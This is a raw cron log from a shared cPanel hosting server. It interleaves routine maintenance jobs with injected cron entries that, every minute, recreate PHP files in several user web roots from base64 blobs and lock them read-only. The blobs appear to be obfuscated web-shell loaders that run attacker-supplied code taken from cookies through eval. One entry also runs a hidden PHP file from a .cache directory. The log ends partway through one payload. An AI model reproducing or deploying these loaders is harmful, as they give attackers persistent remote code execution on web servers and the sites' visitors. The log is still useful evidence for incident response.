Mar  1 10:43:01 medusa CROND[4648]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:43:01 medusa CROND[4649]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:43:01 medusa CROND[4651]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:43:01 medusa CROND[4652]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Mar  1 10:44:01 medusa CROND[25615]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:44:02 medusa CROND[25702]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:44:02 medusa CROND[25703]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 10:44:02 medusa CROND[25704]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:44:02 medusa CROND[25706]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:44:02 medusa CROND[25708]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:44:02 medusa CROND[25712]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:44:02 medusa CROND[25710]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:44:02 medusa CROND[25717]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:44:02 medusa CROND[25718]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:44:02 medusa CROND[25719]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 10:44:02 medusa CROND[25723]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:44:02 medusa CROND[25724]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:45:01 medusa CROND[13673]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 10:45:01 medusa CROND[13785]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 10:45:01 medusa CROND[13788]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:45:01 medusa CROND[13789]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 10:45:01 medusa CROND[13792]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 10:45:01 medusa CROND[13794]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 10:45:01 medusa CROND[13796]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 10:45:01 medusa CROND[13802]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:45:01 medusa CROND[13803]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:45:01 medusa CROND[13808]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:45:01 medusa CROND[13812]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:45:01 medusa CROND[13813]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:45:01 medusa CROND[13810]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 10:45:01 medusa CROND[13800]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 10:45:01 medusa CROND[13816]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:45:01 medusa CROND[13814]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 10:45:01 medusa CROND[13801]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 10:45:01 medusa CROND[13826]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 10:45:01 medusa CROND[13829]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:45:01 medusa CROND[13833]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2